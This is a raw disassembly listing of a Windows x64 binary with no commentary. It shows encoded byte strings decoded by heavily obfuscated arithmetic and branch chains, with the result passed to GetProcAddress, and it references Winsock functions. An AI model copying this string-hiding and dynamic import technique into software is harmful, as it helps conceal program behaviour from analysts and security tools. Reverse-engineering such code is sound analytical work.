mov byte [rbp + 0x391], 0xa7
mov byte [rbp + 0x392], 0xa8
mov byte [rbp + 0x393], 0xaa
mov byte [rbp + 0x394], 0xa2
mov byte [rbp + 0x395], 0xa8
mov byte [rbp + 0x396], 0xa2
mov byte [rbp + 0x397], 0xbe
mov byte [rbp + 0x398], gethostname
xor eax, eax
mov qword [rbp + 0x399], rax
movabs rsi, 0x5b59ca4d9a801156
movabs r14, 0x36281cba6e809c06
movabs r12, 0x120d5ee8cf803402
movzx edi, byte [rbp + 0x400]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x21
jae 0x140071349
movzx r10d, byte [rbp + r11 + 0x380]
mov rdx, r10
nop dword [rax]
cmp rbx, r11
ja 0x14007133d
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400707cc
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x5a
jmp 0x140070800
je 0x1400712cc
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007129f
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140071257
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14007120c
nop dword [rax]
cmp r8, r11
ja 0x140071334
lea rax, [r8 + 0x400]
cmp rbx, rax
jae 0x14007082d
lea ecx, [r11 + 0xe]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x62
jmp 0x140070870
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400711f0
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400711cf
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400711b0
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140071191
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140071160
nop
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x140070dbc
nop dword [rax]
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140070daa
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140070d86
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140070d65
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140070d53
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140070d35
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140070d1a
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140070cf7
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140070cd8
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140070cab
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140070880
lea rbx, [r8 + 0x41]
lea r8, [rbx + 0x61]
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140071317
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x1400712f7
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140070a73
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140070a58
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140070a39
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140070c5c
lea rcx, [r8 + 0x42]
cmp rbx, rcx
jb 0x140070c1e
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140070bda
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140070bb0
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140070880
mov rbx, rcx
lea r8, [rcx + 3]
lea rax, [r8 + 0x200]
cmp rcx, rax
ja 0x140070b83
lea rax, [r8 + 4]
cmp rcx, rax
ja 0x140070b68
lea rax, [r8 + 0x80]
cmp rcx, rax
ja 0x140070b45
lea rax, [r8 + 3]
cmp rcx, rax
ja 0x140070b26
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x140070b08
lea rax, [r8 + 0x3e8]
cmp rcx, rax
ja 0x140070af6
lea rax, [r8 + 5]
cmp rcx, rax
ja 0x140070ad1
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x140070aad
lea rax, [r8 + 0x1000]
cmp rcx, rax
ja 0x140070a8e
lea rax, [r8 + 8]
cmp rcx, rax
ja 0x140070880
lea rbx, [r8 + 0x61]
lea r8, [rbx + 0x400]
jmp 0x140070880
lea edx, [r11 - 0x4e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140070870
lea ecx, [r11 + 6]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2a
jmp 0x140070800
lea ecx, [r11 + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x76
jmp 0x140070799
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
movzx r9d, r11b
jmp 0x14007122a
lea ecx, [r11 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5c
inc r8
dec r11
inc r11
jmp 0x140070786
lea edx, [r11 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140070786
lea edx, [r11 + 0x6c]
mov ecx, 6
movzx r9d, r11b
jmp 0x140071264
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
add rbx, r8
jmp 0x1400712b3
lea edx, [r11 + 0x14]
movzx eax, dl
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400712b3
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x1400710eb
lea ecx, [r11 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x24
jmp 0x140071119
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
movzx eax, byte [rbp + r11 + 0x380]
add rax, r8
add r11, rax
inc r11
jmp 0x140070786
lea edx, [r11 + 0x62]
movzx eax, dl
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
mov byte [rbp + r11 + 0x380], dil
inc r11
jmp 0x140070786
lea edx, [r11 - 0x4a]
movzx eax, dl
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x42
jb 0x140070bca
movzx r9d, r11b
lea ecx, [r9 + 0x44]
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_select
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x14007122a
lea ecx, [r11 + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x46
cmp rbx, 0x41
jae 0x1400710af
lea rax, [r8 + 0x28]
cmp rbx, rax
jbe 0x140070fc8
lea edx, [r11 - 0x74]
movzx eax, dl
and al, r10b
mov ecx, socket
jmp 0x140070be9
lea edx, [r11 + 0x5e]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [rbx + r8]
cmp rax, 0x80
je 0x1400710d6
lea rcx, [r8 + 5]
cmp rbx, rcx
jbe 0x140070ec4
lea ecx, [r11 + 0x7e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x72
jmp 0x140070c34
lea ecx, [r11 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4c
movzx eax, byte [rbp + r11 + 0x380]
add rax, r8
add r11, rax
inc r11
jmp 0x140070786
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140071119
movzx r9d, r11b
lea edx, [r9 - 4]
movzx eax, dl
and al, r10b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400710eb
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
jmp 0x1400712b3
lea ecx, [r11 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7c
add rbx, r8
jmp 0x1400712b3
movzx r9d, r11b
lea edx, [r9 - 8]
mov ecx, 0x1c
jmp 0x140071264
lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x14
dec r11
inc r11
jmp 0x140070786
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
inc r8
dec r11
inc r11
jmp 0x140070786
movzx r9d, r11b
lea edx, [r9 - 0xc]
mov ecx, 0x2a
jmp 0x140071219
lea rax, [r8 + 0x28]
cmp rbx, rax
jae 0x140070de0
lea ecx, [r11 + 0x56]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5a
jmp 0x140070c76
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140070e1a
lea edx, [r11 + 0x1c]
movzx eax, dl
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x380]
add rax, r8
add r11, rax
inc r11
jmp 0x140070786
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140070e42
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400712b3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140070e6a
movzx r9d, r11b
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x140071275
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140070e98
lea edx, [r11 + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140070786
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140070c76
movzx r9d, r11b
lea ecx, [r9 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x64
jmp 0x14007122a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140070eec
movzx r9d, r11b
lea ecx, [r9 + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x26
jmp 0x14007122a
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140070f1a
lea edx, [r11 - 0x7e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140070786
cmp rbx, rcx
jne 0x140070f3e
lea edx, [r11 - 0x7a]
movzx eax, dl
and al, r10b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400712b3
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140070f66
movzx r9d, r11b
lea ecx, [r9 + 0x32]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5e
jmp 0x1400710eb
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140070f8a
lea ecx, [r11 - 0x22]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x12
jmp 0x140071119
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140070c34
lea edx, [r11 - 0x76]
movzx eax, dl
and al, r10b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x380]
add rax, r8
add r11, rax
inc r11
jmp 0x140070786
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140071002
lea edx, [r11 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x380]
add rax, r8
add r11, rax
inc r11
jmp 0x140070786
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007102e
movzx r9d, r11b
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400710eb
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140071056
lea edx, [r11 + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400712b3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007107d
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
add rbx, r8
jmp 0x1400712b3
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140070bf4
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140070786
movzx r9d, r11b
lea edx, [r9 - 0x10]
movzx eax, r10b
and al, dl
movzx ecx, byte [rbp + r11 + 0x380]
sub cl, al
add cl, 0x38
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140071275
movzx r9d, r11b
lea ecx, [r9 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x44]
sub r9b, 0xe
movzx eax, r9b
and al, r10b
mov ecx, 0x31
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x380], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x380], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x380]
add rax, r8
add r11, rax
inc r11
jmp 0x140070786
lea edx, [r11 + 0x1a]
movzx eax, dl
and al, r10b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x380]
add rax, r8
add r11, rax
inc r11
jmp 0x140070786
lea edx, [r11 + 0x16]
movzx eax, dl
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400712b3
movzx r9d, r11b
lea ecx, [r9 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x32
jmp 0x140071275
lea ecx, [r11 + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7e
dec r11
inc r11
jmp 0x140070786
movzx r9d, r11b
lea ecx, [r9 - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x16
jmp 0x14007122a
movzx r9d, r11b
lea edx, [r9 + 0x62]
mov ecx, 0x29
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0x66
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x36
add r9b, r10b
mov byte [rbp + r11 + 0x380], r9b
inc r8
dec r11
inc r11
jmp 0x140070786
movzx r9d, r11b
lea edx, [r9 + 0x5e]
mov ecx, gethostname
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x46
movzx eax, r9b
and al, r10b
mov ecx, ntohs
sub cl, al
add cl, cl
add cl, r9b
add cl, dil
add cl, r10b
mov byte [rbp + r11 + 0x380], cl
add rbx, r8
jmp 0x1400712b3
lea rcx, [r11 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x2a
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140070786
lea rcx, [r11 + r12]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0xe
movzx eax, byte [rbp + r11 + 0x380]
add rax, r8
add r11, rax
inc r11
jmp 0x140070786
sub r11b, 0x52
movzx eax, r11b
and al, r10b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
jmp 0x140070783
add r11b, 2
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0xe
jmp 0x140070773
lea rdx, [rbp + 0x14ba948]
jmp 0x140071350
lea rdx, [rbp + 0x10bba9e]
jmp 0x140071350
lea rdx, [rbp + 0x380]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
mov byte [rbp + 0x170], 0xc1
mov byte [rbp + 0x171], 0xde
mov byte [rbp + 0x172], 0xc7
mov byte [rbp + 0x173], 0xc4
mov byte [rbp + 0x174], 0xd5
mov byte [rbp + 0x175], 0xd2
mov byte [rbp + 0x176], 0xd3
mov byte [rbp + 0x177], 0xcd
mov byte [rbp + 0x178], 0xd1
mov byte [rbp + 0x179], 0xc7
mov byte [rbp + 0x17a], 0xce
mov byte [rbp + 0x17b], 0x7b
xor eax, eax
mov dword [rbp + 0x17c], eax
mov byte [rbp + 0x180], al
movabs r14, 0xd78e97f4cf09698e
movzx edi, byte [rbp + 0x400]
nop
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x11
jae 0x140071fc2
movzx r10d, byte [rbp + r11 + 0x170]
mov r9, r10
nop dword [rax]
cmp rbx, r11
ja 0x140071fb6
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007142c
lea rcx, [r11 + r14]
mov rax, rcx
and rax, r10
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r10
add dil, 0x1e
jmp 0x140071460
je 0x140071f33
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140071ec9
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140071e6e
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140071e20
nop dword [rax]
cmp r8, r11
ja 0x140071faa
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x140071491
lea edx, [r11 - 0x5a]
movzx eax, dl
and al, r10b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400714d2
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140071e04
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140071ddf
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140071dc4
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140071d75
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140071d48
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x140071a4b
nop
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140071a2c
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140071a04
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400719df
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400719c0
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400719a5
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140071986
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140071974
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140071959
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14007192b
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400714e0
lea rbx, [r8 + 0x42]
lea r8, [rbx + 0x41]
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140071f8a
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140071f6d
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x1400716cf
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x1400716b0
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140071691
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x1400718d9
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140071890
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14007184c
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140071822
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x1400714e0
lea rbx, [r8 + 1]
lea r8, [rbx + 0x10]
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x1400717f4
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x1400717d8
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x1400717b5
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140071799
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14007177d
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14007175a
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140071735
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14007170d
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x1400716ea
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x1400714e0
lea rbx, [r8 + 0x40]
lea r8, [rbx + 0x40]
jmp 0x1400714e0
lea edx, [r11 + 0x1a]
movzx eax, dl
and al, r10b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400714d2
lea edx, [r11 - 2]
movzx eax, dl
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140071460
lea ecx, [r11 - 0x1e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2e
jmp 0x1400713f6
lea edx, [r11 + 0x30]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x50
add dil, dl
movzx r9d, r11b
jmp 0x140071e3e
lea edx, [r11 + 0x14]
movzx eax, r10b
and al, dl
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
inc r8
dec r11
inc r11
jmp 0x1400713e3
lea edx, [r11 - 8]
movzx eax, r10b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x1400713e3
lea edx, [r11 - 0x24]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 4
add dil, dl
movzx r9d, r11b
jmp 0x140071e88
lea ecx, [r11 - 0x40]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x40
jmp 0x140071ead
lea ecx, [r11 - 0x5c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x7c
jmp 0x140071eb0
lea edx, [r11 - 0x78]
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx r9d, r11b
jmp 0x140071d93
lea edx, [r11 + 0x6c]
movzx eax, r10b
and al, dl
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140071eed
lea ecx, [r11 + 0x50]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x30
movzx eax, byte [rbp + r11 + 0x170]
add rax, r8
add r11, rax
inc r11
jmp 0x1400713e3
lea edx, [r11 - 0x76]
movzx eax, dl
and al, r10b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
mov byte [rbp + r11 + 0x170], dil
inc r11
jmp 0x1400713e3
lea ecx, [r11 + 0x6e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 2
cmp r8, 0x80
jb 0x14007183c
movzx r9d, r11b
lea edx, [r9 - 0x6c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x18]
jmp 0x140071e3e
lea ecx, [r11 + 0x52]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3e
cmp rbx, 4
jae 0x140071d04
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x140071c1e
lea edx, [r11 + 0x7c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x64
add dil, dl
jmp 0x140071862
lea ecx, [r11 + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7a
lea rax, [rbx + r8]
cmp rax, 0x200
je 0x140071d2b
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x140071b4a
lea edx, [r11 - 0x2a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400718a6
lea ecx, [r11 - 0x1c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x3c
movzx eax, byte [rbp + r11 + 0x170]
add rax, r8
add r11, rax
inc r11
jmp 0x1400713e3
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
jmp 0x140071ef0
movzx r9d, r11b
lea edx, [r9 - 0x54]
mov ecx, 0x26
jmp 0x140071d82
lea edx, [r11 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140071eb0
lea ecx, [r11 + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2c
jmp 0x140071ead
movzx r9d, r11b
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x140071e88
lea edx, [r11 + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x1400713e3
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400713e3
movzx r9d, r11b
lea ecx, [r9 + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1c
jmp 0x140071e3e
lea rax, [r8 + 0x41]
cmp rbx, rax
jae 0x140071a73
lea edx, [r11 - 0x72]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400718ef
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140071aa9
lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x14
movzx eax, byte [rbp + r11 + 0x170]
add rax, r8
add r11, rax
inc r11
jmp 0x1400713e3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140071ac8
movzx r9d, r11b
lea edx, [r9 - 0x7c]
mov ecx, 0x32
jmp 0x140071d82
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140071aec
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x140071eb0
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140071b18
movzx r9d, r11b
lea edx, [r9 - 0x28]
movzx eax, dl
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140071e88
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400718ef
lea edx, [r11 - 0xc]
movzx eax, dl
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x1400713e3
jne 0x140071b6f
movzx r9d, r11b
lea edx, [r9 - 0xe]
movzx eax, r10b
and al, dl
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140071e3e
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140071b9d
lea ecx, [r11 + 0xe]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x62
inc r8
dec r11
inc r11
jmp 0x1400713e3
